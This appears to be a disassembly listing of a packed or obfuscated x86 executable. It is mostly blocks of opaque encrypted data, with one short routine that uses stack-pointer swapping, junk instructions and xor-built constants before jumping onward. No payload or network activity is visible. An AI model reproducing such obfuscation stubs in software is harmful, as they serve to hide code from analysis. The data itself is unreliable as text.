		dd 0F013CD0h, 0A85h, 1B800h, 47E90000h,	33000000h, 40E9C0h
		dd 1C6A0000h, 0C5A0B58Dh, 0FF560652h, 52C59CB5h, 5858B06h
		dd 35064D0Dh, 34812736h, 0C483D0FFh, 0A0B58D0Ch, 8B0652C5h
		dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
		dd 0BD830000h, 64D1281h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
		dd 0C5C5858Dh, 85890652h, 64D3255h, 98E9h, 9400h, 500h
		dd 100h, 0A2800h, 200h,	20h dup(0)
		dd 7B1CEE00h, 0BA2E970h, 0EE680000h, 0E90652C8h, 0FFFAB889h
		dd 52CA0168h, 0B87FE906h, 1768FFFAh, 0E90652CBh, 0FFFAB875h
		dd 52CB8C68h, 0B86BE906h, 0C268FFFAh, 0E90652CCh, 0FFFAB861h
		dd 52CD2368h, 0B857E906h, 7168FFFAh, 0E90652D0h, 0FFFAB84Dh
		dd 52D15468h, 0B843E906h, 2FF5FFFAh, 0D29D7D89h, 7640202Ch
		dd 17E4C4D0h, 0BC856571h, 0E0080A16h, 3440E6AFh, 0DBE78D54h
		dd 7D892FFBh, 232FD59Dh, 0F090BF8Ch, 41D4FC59h,	0AD75F636h
		dd 9A64C207h, 2097E918h, 319ADB4Fh, 8EBFFBC8h, 331DF1A0h
		dd 0A075C42Dh, 8228F553h, 0D52979B5h, 0C2BC28F6h, 963C0359h
		dd 7B21E947h, 6D9CE936h, 0DB4E4D13h, 0F28EB51Eh, 3FDB4E4Ch
		dd 0A47387D6h, 4C582857h, 70D9DB4Eh, 0DD8F4621h, 641C4B98h
		dd 64DB4E4Ch, 0B58103DEh, 41AA757Eh, 18B3CDFCh,	157EDB4Fh
		dd 814A79C6h, 0D0D13834h, 96B9A67h, 77D501FDh, 86A05B09h
		dd 35B65B1Ah, 32h, 8FDDF873h, 8F22EC4Ah, 66B51EC4h, 2099EA19h
		dd 52A8D138h, 8A30F88Bh, 16E34CBDh, 406F3CA5h, 0D5022034h
		dd 7B66DE4Ch, 0B65B42EBh, 0C710h, 28864E00h, 7BECB95Fh
		dd 6006CE2Ch, 0C66C3593h, 2DD39BF9h, 50C18AE8h,	8A44E83Fh
		dd 157C055h, 51C28F35h,	7CF2D02h, 55A45561h, 41DB4ECDh
		dd 0E7C7D379h, 0D1AC791Fh, 0F4236804h, 0D137E9FBh, 0A68AD16h
		dd 384C9B41h, 2D72FADBh, 0F25491FEh, 1257C0CAh,	45EBB4h
		dd 0E6FC84B3h, 0CC35CEB1h, 5E9A697Dh, 10CFB8B0h, 0BF88DEC9h
		dd 8CDB4C19h, 0B4E3652Eh, 0CEB139CCh, 9D430F65h, 8DF65FD0h
		dd 79CFA075h, 59774C98h, 932h, 0EBF79D63h, 8E9A400Bh, 323EE4AEh
		dd 0D3DF8552h, 78842AF3h, 541D7276h, 0FBC2A2AEh, 9D694955h
		dd 430BEBF7h, 2DFA919Dh, 0FC5882FEh, 64A4AFD4h,	0FA06AC75h
		dd 0F8BF521Ah, 93DDE952h, 7EC4DDF8h, 1E8DE153h,	0A0CF147Dh
		dd 0D13790E3h, 17BD86E4h, 6594D94Ah, 0D501911Bh, 8B5EAD16h
		dd 4E265522h, 32D50190h, 106E80C4h, 62D3A046h, 0D295AD13h
		dd 0D542B65Bh, 80000000h, 0C03CAD75h, 0B0C4A323h, 0B614E14Ah
		dd 0EC925AEDh, 7845AE1Fh, 6291DE2Bh, 0DB4E241Eh, 0FD83AA13h
		dd 0BADB4E23h, 4E23F58Bh, 8D33CDBh, 0D821509Fh,	0BEDB4E28h
		dd 644450F6h, 40082B9Ch, 5BF6AF3Bh, 854FADF2h, 4273ABDFh
		dd 0E7A667ACh, 0EDE8C398h, 8FED3A7Fh, 0D5F354C5h, 9284190h
		dd 0CD2251A0h, 44D136E8h, 6372CFDBh, 2A77C409h,	9C85FBh
		dd 0F443ACD5h, 0F150BBC5h, 0D79EFCCAh, 0A4F36431h, 0C52368D1h
		dd 7B4A56FCh, 60AF551Dh, 7B933902h, 987A10BCh, 1F557348h
		dd 76000008h, 1EFE0AB0h, 0C1A1AD53h, 654551F7h,	6E6F298h
		dd 898B973Dh, 0C3693267h, 6A10D7B7h, 0CB27E5Eh,	0B2582000h
		dd 13420FA6h, 0D4FC566Dh, 7579B9C4h, 1AFA06ACh,	56A0AC52h
		dd 5C894A86h, 0FFC84BFAh, 3AF58BBAh, 0D33CDB4Eh, 0B85E2684h
		dd 0E1629EEBh, 93AD8284h, 0ECB41261h, 0D6B3A46h, 714C9B41h
		dd 65C30864h, 0B526F399h, 27EA1966h, 2AD122CEh,	3FCAB6E5h
		dd 0BEEDD4FCh, 0D4FC3FC2h, 0D23B066Fh, 40225E8Dh, 0A60FD4FCh
		dd 0D29AF83Dh, 0F351202Ch, 736852Bh, 0D4FC4109h, 0B36992CEh
		dd 17FEF3FAh, 352F8C1h,	75BAB228h, 0DDAA5017h, 0A6091D6Ch
		dd 23498C6Bh, 98B0AFDEh, 0D841CAE5h, 0C56B3593h, 2CD29AF8h
		dd 0FEA46DC3h, 2171C031h, 1442BBF8h, 0F5775E98h, 5F9A81B0h
		dd 7FDD30CFh, 0CF400DB3h, 7744AD80h, 0EE33399Ch, 0CF1EC490h
		dd 0BE7A5382h, 92D72A86h, 48D31D63h, 42AB142Eh,	8952B0FDh
		dd 6E3694E3h, 14DCBCC8h, 6695566Eh, 441939E2h, 70926h
		dd 20C68C00h, 0C3693414h, 670DD7B7h, 8AE7B5Bh, 0AD531CFCh
		dd 48099FA1h, 0EDCDD97Fh, 94748026h, 361622C8h,	25BCC86Eh
		dd 55572958h, 0CFDAD4FCh, 8FDDF88Fh, 1BC1FD4Ah,	0DE670820h
		dd 0E82958A7h, 0EFD12235h, 0D01FC591h, 0F14F94FDh, 94748026h
		dd 0C56B36C9h, 0CBDB175Ch, 0C02374B0h, 5AA77CCBh, 0D19C2FFCh
		dd 1573C22Bh, 0E48FA74Dh, 4892B7D8h, 6945573h, 3B010000h
		dd 0DEA98995h, 824C2C38h, 23F0D0DCh, 0C891717Dh, 9C141622h
		dd 404CF2BBh, 0E7F39960h, 89953B07h, 2F3BE1A9h,	0E49CCB98h
		dd 4DD4FC55h, 0DDF80242h, 0F61B4A8Fh, 5BD122E7h, 874FADF2h
		dd 6278D5E1h, 0EE96C50Ah, 0D9D4FC59h, 0D349508Ch, 2197CDD6h
		dd 0FC2886FAh, 0F342ABD4h, 5A00CA20h, 0E6B31C8Dh, 0FC28BCB7h
		dd 0EE56C4D4h, 44C653F3h, 3A88B6h, 86C60000h, 20760A39h
		dd 52BBDB4Fh, 0BAB22803h, 0ACDB2875h, 0DB4F20D4h, 76A5F45Dh
		dd 0DB4F2106h, 0C6F5C22Bh, 0DB4F20AEh, 0F5E064D2h, 0B0163E6Dh
		dd 78Ah, 0D0B5C800h, 6B000001h,	0FFD6C5F2h, 0A60FB580h
		dd 472D3261h, 5BC4D138h, 0A9F0EA13h, 0ECE9824Dh, 6E38CB93h
		dd 218AFBC8h, 0F55E04CBh, 579A81B0h, 0EE571B40h, 128F4621h
		dd 0EACE53B5h, 96DB44C6h, 7D23EB49h, 0E8B55B27h, 0D4F92877h
		dd 314F7CFh, 48A4D7C7h,	0D2218AE9h, 98C9CBFFh, 0B0B07EBAh
		dd 0D8A40247h, 8D57B45h, 92DF2E97h, 0B7C9F845h,	7A18B942h
		dd 9C64C211h, 0BD1BEAF6h, 128350F6h, 0F79D65C3h, 71F622DFh
		dd 9BB98E56h, 55Eh, 0BFCB7137h,	626E14DFh, 612B882h, 0A7B35926h
		dd 4C58FEC7h, 28F1A64Ah, 0CF967682h, 713D1D29h,	17DFBFCBh
		dd 1CE6571h, 0FC54AED2h, 387883D4h, 760A3986h, 0BBDB4F20h
		dd 0DDA50352h, 468F6A37h, 20651B4Ah, 63CCDB4Fh,	0F986B5FAh
		dd 38D13826h, 1BE3C3CFh, 2EAA5D75h, 2D0292A9h, 4FD0Fh
		dd 2CD29800h, 0CF754020h, 7319E3C3h, 14BA8767h,	0B95F2808h
		dd 5405ABADh, 0F9D9E58Bh, 0A0808C32h, 42222ED4h, 31C8D47Ah
		dd 534B3564h, 0DBE6D4FCh, 764A869Bh, 0DCCBED5Bh, 57285887h
		dd 0A009DB4Eh, 0C28AE837h, 29F14F1Ch, 60C6B683h, 0C83901E4h
		dd 0C13BC248h, 0BB5BA2FFh, 0E2089BCFh, 86ADB2E6h, 13EAF776h
		dd 0ACB69EAAh, 4BB016FDh, 33h, 8FDDF889h, 7A20EC4Ah, 0A0ED3CADh
		dd 3829B671h, 15E24BD1h, 2198EE6h, 45A3F2D5h, 0AC0AD77Dh
		dd 0FC6D3AE0h, 6CD84493h, 5B45D171h, 4506B6h, 0F8440000h
		dd 1B4A8FDDh, 0D1386E44h, 0A1FF44ADh, 9EEB30D6h, 1D3116Fh
		dd 68B720D5h, 5A278554h, 40406FB4h, 0F1D501D2h,	690A3988h
		dd 3ED501D2h, 0D2BEC2F1h, 0A73D501h, 0EF955DBBh, 923803E3h
		dd 418A7C5h, 865D0000h,	0EAB75D28h, 864F2A79h, 9972A1E6h
		dd 0B8D13833h, 5C24824Fh, 6B3571B6h, 83FFB86Eh,	690FD92Fh
		dd 7DC2B9Ch, 41212391h,	6493D894h, 0CAEB09A7h, 553541AAh
		dd 881E1C8Dh, 0EA917541h, 61EB7E34h, 1B84EDA4h,	0A62734Eh
		dd 562D96C5h, 3C9AC49Dh, 9102CF75h, 39066F42h, 4E175318h
		dd 5C02CF31h, 0CBEA1E8Fh, 0A4105F07h, 5F124EA0h, 21FE026h
		dd 9A62C00Fh, 4A8BE8F4h, 59AEDD22h, 0E8BE4FC4h,	8C54B27Fh
		dd 0F2BB19E6h, 68437F4Ch, 6F82DB62h, 0A44A1268h, 0C381E7D7h
		dd 5410F40Dh, 86CBA134h, 6C12DB39h, 1119EE1Dh, 50AEB803h
		dd 0C28CE288h, 91FACD1Ch, 0EA7AB685h, 0C3923925h, 945A88BCh
		dd 0E87B26C5h, 0CD733B99h, 46D9A200h, 9506D379h, 7BE95F2Ch
		dd 0ABDA27C9h, 0BBCCEBD5h, 30BFF35Ch, 4FFA1334h, 0DBA30150h
		dd 9CC2935h, 73D11E63h,	0C73805ABh, 17A4978h, 5EC7B1B6h
		dd 1EE64491h, 305A4478h, 1B40D3C5h, 0A66ECCh, 0EF4D1233h
		dd 0C5318026h, 86E6EF9Fh, 37B8F441h
		dd 0B930CBAh, 864C345Bh, 7CE5B57Fh, 67B65C26h, 0A5D8EB1Ah
		dd 69AB68h, 0A64C14F4h,	103F8CD9h, 0AF326770h, 0F7C46A36h
		dd 352BB86h, 0F237DDA5h, 680A76A5h, 0E227AF32h,	3267CDB3h
		dd 92FB64AFh, 13602F43h, 32679CE4h, 0D62C95AFh,	25966309h
		dd 92DAFBD6h, 84B3004Dh, 0AF3267FCh, 6E14DF35h,	78C730A1h
		dd 1B838249h, 9966CFA5h, 0E54C0A6Ah, 5C0876A8h,	7FEB81A1h
		dd 2A3682h, 0F8740000h,	1B4A8FDDh, 0D1382068h, 74A370D9h
		dd 0D5022100h, 0A7521280h, 0B65B429Fh, 0A5DB0A57h, 8CD5022Ch
		dd 0E06CD423h, 0AA000000h, 3A07AD75h, 0B88013DCh, 7EDCA912h
		dd 7ECB10B6h, 0E6B35920h, 20324E75h, 96FFDB4Fh,	4C147247h
		dd 7A47EDB9h, 0E394A009h, 0DB4F2616h, 612B880h,	5EED5E26h
		dd 0EB9725A9h, 9CE92E97h, 4E64136Dh, 66B51EDBh,	4D1FB691h
		dd 95C6D908h, 64B1D137h, 9E25628h, 0D9009A2Eh, 0D5020CA7h
		dd 4CB218Ah, 0D120915Eh, 0F25095FEh, 103F842Ah,	0D5020C70h
		dd 0F50958C1h, 55FBC826h, 439238FFh, 0BAFF6D68h, 9C420F6Dh
		dd 0C4DA1E4Dh, 0DE47CAF2h, 0CC723B99h, 8417E0C0h, 90A811B7h
		dd 9878E487h, 0AF38562Bh, 0E6000001h, 8E6E7A20h, 31111DC3h
		dd 0D5B5C167h, 76566208h, 0F9FB07ADh, 33D9A2F7h, 0DA804727h
		dd 7C22EECEh, 22C89070h, 83B27F16h, 0D4FC50FDh,	75E92934h
		dd 0A64C19ACh, 8951313Dh, 0F88DD7E3h, 1B4A8FDDh, 0D1382068h
		dd 9DE3125Fh, 94D50220h, 0A009DC2Bh, 0A3986D3h,	0D5022076h
		dd 0D40352BBh, 0D50220A0h, 0BA872DF6h, 1EEB915Ch, 0A3291B07h
		dd 609BC937h, 0B65B42C6h, 0A2F5h, 0AD753300h, 2084FC2Bh
		dd 44ADDB4Fh, 0E7B00EDBh, 0B4457441h, 0E2DB4F25h, 9968741Ah
		dd 13DD703Bh, 57B5046Dh, 411CE98Fh, 6493D894h, 0D1384E3Bh
		dd 99DD003Ch, 0FBD18442h, 60943076h, 1B6ADF84h,	0ACD40348h
		dd 85D5014Fh, 4AA7B31Ch, 6D9CE18Bh, 0CAF205AAh,	2B89CE37h
		dd 0D0B0BC62h, 32496107h, 0DA9879ADh, 0CCE705h,	3C90000h
		dd 0A671515Dh, 4A14F400h, 0EBB898A4h, 90593945h, 0D4DCDEEAh
		dd 814BA83h, 0AFBB6128h, 515D03CFh, 0F703A971h,	1C649360h
		dd 15D4FC50h, 0AC75CA0Ah, 521AFA06h, 7556A0ACh,	0DC3A07ADh
		dd 5626E14h, 28579CD0h,	0D122E8F5h, 0F04E93FCh,	45B68329h
		dd 0FBC321F6h, 0CFEF508Ah, 0F541703Eh, 76AD6A1Eh, 636FD841h
		dd 0C46A3694h, 29CF99F7h, 3382EB5Ch, 9A670DD5h,	0C3D6146Bh
		dd 21C7923Ah, 992CF654h, 0F4C12AD0h, 4BBEA60Ch,	9C0DDA80h
		dd 0ED57C533h, 808C32FAh, 6532D8A0h, 0C7943A07h, 5F82C2A6h
		dd 5E5F197h, 0ACCA973Dh, 1Eh, 5D288662h, 2C11F7ECh, 4AB33A9Bh
		dd 3EBD0C7Dh, 7A46A4F1h, 0CAD3ADD4h, 0F55EDB4Eh, 0AF75DEA6h
		dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh,	0AD76D4A1h
		dd 0FDC3A07h, 743E9C69h, 0D8A301CEh
		db 32h,	65h, 0E8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	0FA0h
		mov	[esp], edx
		push	2707h
		mov	[esp], ebx
		push	56E1h
		mov	[esp], edi
		mov	edi, 9D74CAAh
		and	edi, 2AA33C59h
		xor	edi, 38D856A2h
		xor	edi, 36099D2Ah
		mov	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	56BCh
		mov	[esp], edx
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 1Ch,	0B2h, 81h
		dd 6707CD86h, 52D245B8h, 0FFC50306h, 0DFF33FE0h, 7273E50Eh
		dd 0B0C70F1Eh, 9DBDBB6Dh, 0DE80Ch, 96860000h, 0D4AB2CEEh
		dd 0C0E19131h, 0F87DB17h, 665ED8BFh, 0C681D38Bh, 612Dh
		dd 13E9h, 17F74200h, 83F80788h,	0F36EC510h, 6E98D91Ah
		dd 47977508h, 1825B9h, 8BDF8B00h, 0DFBF0F3Eh, 8D9EF81h
		dd 0BF0F0016h, 9EF781D7h, 0E9300DBAh, 13h, 289608F9h, 0B8799179h
		dd 0AD82975Ah, 53A3867Fh, 81EA2C7Fh, 5F7F2CEFh,	57F18A38h
		dd 98D0Fh, 60600000h, 0E6816661h, 8F6120CCh, 0BF0F6006h
		dd 0CEB70FD7h, 4EE8361h, 95E9F1BAh, 1E9835Eh, 0FFA1850Fh
		dd 6660FFFFh, 8D61F88Bh, 52D4448Dh, 81666006h, 231C93F2h
		dd 4D2F7D9Dh, 8D896106h, 64D0599h, 0C7F18B66h, 4D051D85h
		dd 5A8406h, 0C6816600h,	0B52B78EEh, 64D0ED5h, 2E985C7h
		dd 64Dh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 190424h, 50400000h, 528FEFC3h, 0FED27A8h, 0B5FFFAB7h
		dd 64D2795h, 16D18060h,	0BE8h, 2D26AB00h, 6894AD29h, 0FF140C4Eh
		dd 5D1B52Bh, 615A064Dh,	0F0DB529h, 95FF064Dh, 64D2E55h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h
		dd 58A12009h, 6A270C4Fh, 1195FF00h, 8B064D05h, 722CEBC0h
		dd 957ACA06h, 50CF4EBDh, 3F8CFD18h, 2F08F8F6h, 322B2828h
		dd 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh,	0A6F5162Dh
		dd 0EBD97C35h, 841E7108h, 41000032h, 0BAAE902h,	47680000h
		dd 0E90652D6h, 0FFFB6CE6h, 52D71568h, 6CDCE906h, 0A168FFFBh
		dd 0E90652D8h, 0FFFB6CD2h, 52D94C68h, 6CC8E906h, 0D68FFFBh
		dd 0E90652DAh, 0FFFB6CBEh, 52DBFF68h, 6CB4E906h, 9868FFFBh
		dd 0E90652DCh, 0FFFB6CAAh, 52DDFA68h, 6CA0E906h, 0CC68FFFBh
		dd 0E90652DEh, 0FFFB6C96h, 17B91D7Bh, 6A83067h,	0F99B3D56h
		dd 0E98B4B49h, 0DB7D5939h, 0B870C42h, 207929CBh, 306616B8h
		dd 415404A6h, 3088F597h, 44619C4Ah, 0BD8A1999h,	84544373h
		dd 3A8C0B9Ah, 428B5B33h, 82578114h, 0B78F494Ch,	82CB0B87h
		dd 62D09A60h, 0BDC4308Ah, 0E86FDC6Fh, 5F0DF3CBh, 0DC92F196h
		dd 25FEE22Bh, 0A2993EB2h, 0AAE919F1h, 7220592Eh, 1368B127h
		dd 3EB27527h, 6DBE1099h, 0BE19FF6Bh, 0F194BC6Eh, 0F9E3CB89h
		dd 3E87492Dh, 4B55CAC6h, 40B213h, 73ED0000h, 8D853319h
		dd 510292F1h, 0BE419967h, 1E6786DFh, 0CAA210DAh, 3ED243E4h
		dd 8112C099h, 4A4C8257h, 522ADB8Ch, 8E637522h, 0CBB70C55h
		dd 993ED319h, 0EF0962B4h, 134B6511h, 0DDDBh, 0F89D1600h
		dd 0BDD50BE0h, 1E74119h, 92F18D53h, 81D61FD0h, 37A4F121h
		dd 68A17662h, 0FBA9E2B7h, 0C7F53E9Ah, 0FF350ACEh, 0C6A04296h
		dd 8CD50396h, 0F192C3A8h, 80583D92h, 459804DEh,	0A29674F9h
		dd 534134DBh, 2CDD3A53h, 0F8E0B5E3h, 9F0DD723h,	0CDA4E1C7h
		dd 7021993Eh, 0AE2D6898h, 0E41DF2E4h, 18FE5E33h, 993ECD6Ah
		dd 3C8536E7h, 1C8A541Ah, 84C15E44h, 663E9F8Eh, 8E84D280h
		dd 0ED9E4F9Fh, 26B2E515h, 3D5585DDh, 4B47F799h,	8F3BD08Bh
		dd 24798076h, 95ED3h, 22B4E400h, 11C7D080h, 4D4BF6Fh, 0F4E2B262h
		dd 0E6F0A252h, 0FA75AB44h, 0EC9C3E98h, 0D9892BADh, 0C77719BDh
		dd 0FB680ACEh, 640FBDA3h, 0FD8C9944h, 54437330h, 26B9014Bh
		dd 5C0DA281h, 29ADE513h, 1ABED787h, 0BD87B178h,	0F091774Fh
		dd 6D993E8Dh, 49FBE7BCh, 0E4993E8Dh, 0F3F5992h,	8D054E8Ah
		dd 134B20F3h, 0AF79h, 0F89DB400h, 563501A7h, 0FCADCB41h
		dd 35A1F127h, 448F7460h, 0AFDF92F2h, 78A6EFE7h,	0FFD9BE1Dh
		dd 99FCAC4Eh, 0DA0A6A3Fh, 92D61FB9h, 16825AC8h,	41DA5E9Bh
		dd 1C74BD3Eh, 3F0FF936h, 23C57699h, 4D25935Dh, 8EC3B967h
		dd 0A88369Fh, 10BEF7CCh, 0CBA35482h, 3DDFF79Bh,	16D1058Dh
		dd 8076CE8Bh, 900F60B5h, 0B2000008h, 9E4EF0E6h,	8D3DDFF9h
		dd 8030D206h, 7020C214h, 7912B422h, 4D2C043h, 0F1E7B262h
		dd 0DFF79F4Fh, 0D0088D3Dh, 8369C12Eh, 994464D5h, 9DF6C352h
		dd 653FE1F5h, 428301F9h, 0E2CC3F42h, 0FE78C755h, 5337C27h
		dd 0DFA64890h, 8E0F89Dh, 4419BFD8h, 7C51870Eh, 0F4499243h
		dd 5F01D7BEh, 8961CF99h, 3EACC2A3h, 0B68E3F99h,	0ACC8765Ch
		dd 6D45993Eh, 3EACD987h, 0F4A55699h, 752056ABh,	0B7E7C163h
		dd 391FF7DFh, 993EAC8Bh, 0E00E5708h, 0B455EAB5h, 992F4188h
		dd 0BBA410E8h, 5B7D1ABBh, 0F4634D86h, 0BE135C91h, 701E045Eh
		dd 0ED993F05h, 7E0FF33Ch, 0F1208528h, 1F764E9Fh, 0E33D17B9h
		dd 85284FFDh, 0D21BCC20h, 0FE7F1A4h, 4F24B4DFh,	8C78CD16h
		dd 208528DBh, 0AD95D6A0h, 36A2F3E8h, 0D5772861h, 93687025h
		dd 44940333h, 4D9FF96h,	0E99E82CBh, 0B9208528h,	0D1C4BCEDh
		dd 0E0B56507h, 0DD723F8h, 30E1C79Fh, 8026D25Ah,	4EDF2B14h
		dd 870D6A9Ch, 2A559E4Fh, 0CDFDD779h, 0FF380DC9h, 3DA872B6h
		dd 47A77C5Ch, 0D1E0B361h, 0CE7F3026h, 2E5F451Dh, 0AB2D1EF3h
		dd 684098FDh, 1EF3D482h, 0EFA0512Dh, 0F37D2E1Ah, 0C6182D1Eh
		dd 42B55365h, 5F3F8F2Bh, 7A000004h, 0F18D39E7h,	9D4BFD92h
		dd 450F92F1h, 992F1A1h,	92F1A157h, 0AB83F1BBh, 1C831C7Bh
		dd 0F6993B04h, 0D52D7627h, 3EAFDAEFh, 0EBA65799h, 7A26BA6Ah
		dd 4DA2B80h, 3E000007h,	2ADA7C5Ah, 19C96B6Dh, 0CBC5E7Ah
		dd 0FCAC4E88h, 59E4096h, 983E54CFh, 855346F6h, 736333E3h
		dd 647421D1h, 17FD55C2h, 99446569h, 738A57E6h, 2A80F507h
		dd 0E62F93A7h, 0EED4DDB8h, 92F24140h, 41FCAA90h, 0C87992F2h
		dd 0E6BB6C1Dh, 553BD09Ah, 92F241A7h, 0EAC27324h, 4515CD04h
		dd 0F7994A99h, 9660BB72h, 0BE6F672Bh, 3C3300E6h, 0FFB09F92h
		dd 78C8371Dh, 622C4EF3h, 65361CF4h, 0E25540A5h,	90FC5C31h
		dd 0AC90FC61h, 0A9ED3676h, 0B39971DFh, 5B8E1E07h, 0CBFBD384h
		dd 0BC6C0ECAh, 0CD44FFD9h, 0CF3C7628h, 659297Ah, 0AFE90000h
		dd 0C2D58527h, 0CFC47416h, 0DDB76709h, 0EBA757F9h, 7AB049EBh
		dd 97399DF5h, 8426B2E7h, 7214C2D4h, 6305D3C2h, 0AB89EF6h
		dd 87994467h, 0BD872BF8h, 1C0B774Fh, 22144BECh,	5EB438Ch
		dd 993EB424h, 0E51BF0A1h, 1D5328B0h, 51875C7Ch,	0D7FF9348h
		dd 0BF15126h, 993EB45Dh, 378B29DAh, 4560BF6h, 8DFBC5ABh
		dd 0D3EECFB5h, 0D23E9F8Bh, 26C4F371h, 0E9977DCDh, 669F8C3Bh
		dd 90BB04B5h, 3C24D2B8h, 0F0A19F8Ch, 85379D3Fh,	0D59F8C3Ch
		dd 3CE7957Bh, 0B3649F8Ch, 3CD8866Ah, 723C9F8Ch,	0F462C04h
		dd 8CA5DF11h, 6F1A06DBh, 33A5DF10h, 0A5DF1080h,	823D9BFAh
		dd 86C71B15h, 985DAE03h, 0AA000005h, 9646E8EEh,	8535D701h
		dd 7828CA0Eh, 6818BA1Ch, 710AAC2Ah, 0FCDAB83Bh,	0E9EFAA5Ah
		dd 0D7FF9747h, 0C8108535h, 7B61B926h, 994467CDh, 87EEBB4Ah
		dd 954352BDh, 0EF260CE4h, 6C994461h, 0E4B3E3BBh, 64399DF7h
		dd 0DC317A2Bh, 8F494C7Ch, 0C3A981BAh, 99446215h, 6A98E192h
		dd 0A5D5AD2Bh, 7C9EE7EFh, 0A87DEBB6h, 13B52372h, 0D1A63263h
		dd 9DEFA9Bh, 2B1B541Eh,	0D2CC6E6Ah, 1354F436h, 894D4979h
		dd 0CCCD7BB4h, 0B5FE370Ch, 1C7A2h, 0BD87DD00h, 0ED1D774Fh
		dd 0E6582DA9h, 0C3AFAE6Eh, 236C1D8Ah, 3F2A8E3Fh, 872DE99h
		dd 67E32DAEh, 1CCDF841h, 5604EA44h, 0D3993F13h,	9884D922h
		dd 993F13E8h
		dd 712555ADh, 13AA583Eh, 7627993Fh, 0DFB7F0C5h,	3F134BF9h
		dd 0CE17C899h, 0FBC5AB04h, 13D28066h, 9E4F993Fh, 0B4E515EDh
		dd 0B6676F27h, 0ED9B81E1h, 6A993F13h, 395A08B9h, 0A4FE569Fh
		dd 5D7B1A4Ah, 3DEB4F88h, 0BA993F13h, 2BDCC009h,	0A89F8C45h
		dd 0F0A555F7h, 0B8DD13E8h, 0EEB87E20h, 1E4EA880h, 35196274h
		dd 0A5D9615Ch, 0AE6740ACh, 37A6DFAAh, 3D12C3EEh, 0D9549F51h
		dd 87E83AA5h, 0E1E39B75h, 346107h, 879C0000h, 47774FBDh
		dd 7AB38850h, 52F3D931h, 0CF993E8Dh, 0AB5D491Eh, 46993E8Dh
		dd 0B7DC0C66h, 8E0FBD21h, 0DB8C993Eh, 5567C892h, 134B20BBh
		dd 0C841h, 7737C00h, 0C651232h,	0CD098B24h, 0F0A5D31Ch
		dd 0B5DD13E8h, 7F164C21h, 474E8459h, 1089B991h,	5A0BCBCBh
		dd 0E515EF11h, 1B5429ADh, 2BCE0831h, 438C7414h,	0F20C7A5Fh
		dd 745ECA92h, 8919958h,	1BF893B2h, 45F5E731h, 90D9FD97h
		dd 3A53362h, 2D05733Dh,	42201747h, 0BE39499h, 4B20B8DBh
		dd 0A7316412h, 0BCD6065Eh, 0CAC8781Ah, 29EE510Ch, 73C87A2Ah
		dd 3A622h, 0DAFC9C00h, 0C90F8838h, 0BC1C7727h, 0AC2A6A1Ah
		dd 9E385A0Ah, 0B22D63FCh, 0A454F6E0h, 9141E3F5h, 7F2FD105h
		dd 0B320C216h, 68C7755Bh, 0B5449944h, 0E1F59DE8h, 250B653Fh
		dd 92F18D77h, 0CCFA43F4h, 0DCB8E8C9h, 88EC25FAh, 92F18DDAh
		dd 53F5A657h, 0E0F89D8Ch, 1BC0D50Bh, 518A5F77h,	10E5F1A3h
		dd 0BD8426D7h, 0F20D35E7h, 0D47F992h, 2B9792F2h, 0E672838h
		dd 0FD418AB8h, 7EDC533h, 9944D9D0h, 7BC79C4Dh, 856B43B1h
		dd 9F91FB60h, 18712CDDh, 0DE807A06h, 30D3889h, 63350000h
		dd 7621D173h, 8310C062h, 9103B355h, 9FF3A345h, 0C6FC9537h
		dd 0EB8D4949h, 0D87A5E3Bh, 0C6686E28h, 0B7597F16h, 5E0CF24Ah
		dd 0DB994469h, 0F89D7F4Ch, 8E25D3B9h, 0F1A292F1h, 60356B40h
		dd 4610D678h, 411A00D8h, 0BE993EAAh, 9A4C380Dh,	14993EAAh
		dd 9E385C7Fh, 0ADF90C9h, 4318BED4h, 9B3D5C0Ah, 0D811DBC6h
		dd 1E7858E5h, 3EAA8A38h, 0D560799h, 30D0EA43h, 0BC134B39h
		dd 52h,	331973F7h, 92F18D85h, 0C4085102h, 2AFB53FAh, 3F920A3Ch
		dd 7B7C714Bh, 0A5560730h, 0E446E7CDh, 2A96993Eh, 0B3D59F90h
		dd 0CDF841F6h, 8D62761Fh, 0E2CEA354h, 993EAC30h, 63079CBh
		dd 134B3F0Ah, 4C5F41ADh, 5AB3DBB4h, 0A4ED9E38h,	0EC91h
		dd 0F89DCC00h, 7526B2E3h, 0AC2C6D9Dh, 7EAE0E63h, 0B1EABF19h
		dd 7E583A68h, 0B62273A9h, 0EEEAABE1h, 9201E64Ch, 1A7B92F1h
		dd 296C1CBEh, 0C48EDAAFh, 919B492Fh, 671892F1h,	1884DEB6h
		dd 0D87F4F6h, 0DDD2DFC9h, 0F401E52Eh, 71993F5Ch, 8E581EC0h
		dd 9CDC9F9h, 0E997FB34h, 63993F5Ch, 98D1A632h, 82563FEDh
		dd 624820D1h, 9F8F142Ch, 0F020F8A9h, 0F05C34A2h, 872238CFh
		dd 94B6FF3Dh, 86C44EBAh, 8328CE9h, 0D50191BFh, 76C9CB1Ah
		dd 0D7287D80h, 1ABh, 33D50197h,	22C41483h, 15B72172h, 5A72F65h
		dd 0F7993D55h, 0E7AB285Eh, 0FC9D4DEFh, 0C8A3ADCh, 1D7828CAh
		dd 54AC19BBh, 446AC06Eh, 0E1AE3D99h, 55BE0773h,	0D67A79E1h
		dd 0BA6819BFh, 82B0F9DFh, 0F2D98D10h, 4829CE0Ah, 5045F597h
		dd 1680B088h, 7B5577C0h, 438C4C4Bh, 4FBD87FEh, 8DF09177h
		dd 0BC6D993Eh, 8D49FBE7h, 92E4993Eh, 20611F59h,	9D0B134Bh
		dd 33000000h, 0F9429603h, 0E0F89DB4h, 19BDD50Bh, 92735844h
